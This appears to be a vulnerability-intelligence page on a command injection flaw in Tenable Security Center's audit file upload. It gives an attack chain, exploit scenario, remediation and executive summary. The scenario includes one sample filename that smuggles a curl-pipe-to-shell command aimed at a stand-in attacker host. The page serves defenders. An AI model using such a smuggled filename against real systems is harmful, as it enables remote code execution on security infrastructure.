Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to Security Center (low-priv)
-
DeliveryOpen audit file upload feature
-
ExploitUpload file with metacharacter-laden filename
-
ExecutionFilename injected into system command
-
PersistShell executes arbitrary commands as service account
-
ImpactCommand execution / lateral impact
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires an authenticated session (CVSS PR:L) with access to the audit file upload functionality of Tenable Security Center; the attacker crafts an upload whose filename embeds shell metacharacters that get injected into a system command. Limiting factors: valid credentials and permission to reach the audit-upload feature are needed (not unauthenticated), and the target must be a Security Center deployment exposing that feature to the attacker. No user interaction by a victim is required (UI:N) and attack complexity is low (AC:L), so once a low-privileged account is available, exploitation is straightforward against affected versions. |
| Impact | The signals are largely consistent and point to a genuine high priority. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N) indicates a network-reachable, low-complexity attack requiring only low privileges and no user interaction, with high impact across the vulnerable system (VC:H/VI:H/VA:H) and subsequent systems (SC:H/SI:H/SA:H), yielding a 9.4 Critical score. The key mitigating factor is PR:L - the attacker must be authenticated to Security Center with access to the audit file upload functionality, so this is not a fully unauthenticated internet-facing RCE. No EPSS score was provided in the input, so exploitation-probability cannot be quantified here; no SSVC decision data was provided either. It is not in CISA KEV and no POC was referenced, so exploitation is not confirmed. Overall: a real, patch-now issue because command execution on a security appliance is high-value, but the authentication requirement narrows the exposure to attackers who already hold valid (even low-privileged) accounts or can obtain them. |
| Exploit ScenarioDerived | An attacker with a low-privileged Security Center account browses to the audit file upload feature and uploads a file crafted with a malicious filename such as 'audit;curl attacker/x|sh.tar'. When the server processes the upload, the shell interprets the injected metacharacters and runs the attacker's command as the Security Center service account, giving code execution on the appliance. No public POC was referenced, and the low attack complexity means a working account is the main prerequisite. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 21, 2026
OS command injection in Tenable Security Center (Tenable.sc) lets an authenticated attacker execute arbitrary shell commands by uploading an audit file whose filename contains shell metacharacters, which the application passes unsanitized into a system command. The flaw (CWE-78) carries a CVSS 4.0 base score of 9.4 with high impact to confidentiality, integrity, and availability of both the vulnerable and subsequent systems. There is no public exploit identified at time of analysis and it is not listed in CISA KEV.
RemediationAI
Upgrade Tenable Security Center to the fixed release identified in Tenable advisory tns-2026-19 (https://www.tenable.com/security/tns-2026-19); the exact patched version is not stated in the provided input, so consult that advisory for the precise build to install. Until patched, restrict who can reach and authenticate to the console and specifically limit accounts permitted to use the audit file upload functionality, since PR:L means only authenticated users can trigger the flaw; place the Security Center management interface behind network segmentation/VPN so it is not broadly reachable, and monitor audit-file uploads for filenames containing shell metacharacters. The trade-off of tightening upload permissions is that legitimate compliance/audit workflows relying on custom audit files may be interrupted until the patch is applied.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Tenable Security Center is the on-premises vulnerability-management console (formerly Tenable.sc / SecurityCenter) that aggregates Nessus scan data, dashboards, and compliance auditing. The vulnerability lives in the audit file upload feature: audit files (used for compliance/configuration checks) are processed server-side, and the user-controlled filename is concatenated into a system command string rather than being passed as a safe argument or sanitized. This is a classic CWE-78 OS Command Injection, where shell metacharacters (e.g. ;, |, `, $()) in the filename break out of the intended command context and are interpreted by the underlying shell, executing attacker-chosen commands with the privileges of the Security Center service process. The single affected product per CPE data is cpe:2.3:a:tenable,_inc.:security_center.
Know when Security Center gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Network-reachable audit upload needing a low-privileged authenticated account (PR:L, AC:L, UI:N); command execution on the appliance escapes the app context to the OS, so S:C with full C/I/A impact.
Primary rating from Vendor (tenable).
CVSS VectorVendor: tenable
Lifecycle Timeline
2DescriptionCVE.org
A filename supplied during file upload is not properly sanitized before being used in system command execution, allowing an attacker to inject shell metacharacters and achieve command injection via the audit file upload functionality.
Executive ViewAI
Tenable Security Center (Tenable.sc), the primary vulnerability management platform for most enterprises, contains a critical authenticated command injection vulnerability in its audit file upload functionality with no public exploit identified at time of analysis. An attacker with valid credentials can upload specially crafted audit files to execute arbitrary system commands with system privileges, potentially compromising the scanning infrastructure and enabling lateral movement to other enterprise systems. This directly threatens the integrity of an organization's entire vulnerability assessment and compliance program.
Restrict audit file upload capability to essential administrators through role-based access controls; implement strict input validation with filename character whitelisting (alphanumeric, underscore, hyphen, period only); deploy WAF rules blocking shell metacharacters in upload requests; network segmentation to contain lateral movement from compromised scanner; maintain comprehensive audit logging of all upload and command execution activity; conduct regular access log reviews and audit file inventory audits.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Malicious file upload attacks exploit insufficient validation when web applications accept user-provided files.
More in Security Center
View allAuthenticated OS command injection in Tenable Security Center allows a low-privileged user to run arbitrary operating sy
Remote code execution in Tenable Security Center's report-generation subsystem allows an authenticated, non-administrati
OS command injection in Tenable Security Center (formerly Tenable.sc) lets a remote attacker run arbitrary operating-sys
Authenticated remote code execution in Tenable Security Center allows an attacker to inject shell metacharacters through
SQL injection in the ticketing REST API of Tenable Security Center (versions before 6.8.0) allows an authenticated non-a
Command injection in Tenable Security Center's file upload handler allows an authenticated low-privilege network attacke
Command injection in Tenable Security Center enables an authenticated administrator to achieve arbitrary OS command exec
OS command injection in Tenable Security Center (formerly Tenable.sc) lets authenticated users abuse the audit file uplo
SQL Injection in the Hardware Inventory report of Security Center 5.11.2. Rated high severity (CVSS 8.8), this vulnerabi
Privilege escalation in Tenable Security Center allows an authenticated Security Manager to manage users outside their a
Command injection (CWE-78) in Tenable Security Center versions prior to 6.9.0 enables a local attacker with write access
Installers of Kaspersky Security Center and Kaspersky Security Center Web Console prior to 12 & prior to 12 Patch A were
EUVD-2026-46391
GHSA-x2v3-fq4f-vvjj
NVD
CVE.org
EPSS
VulDB
Exploit-DB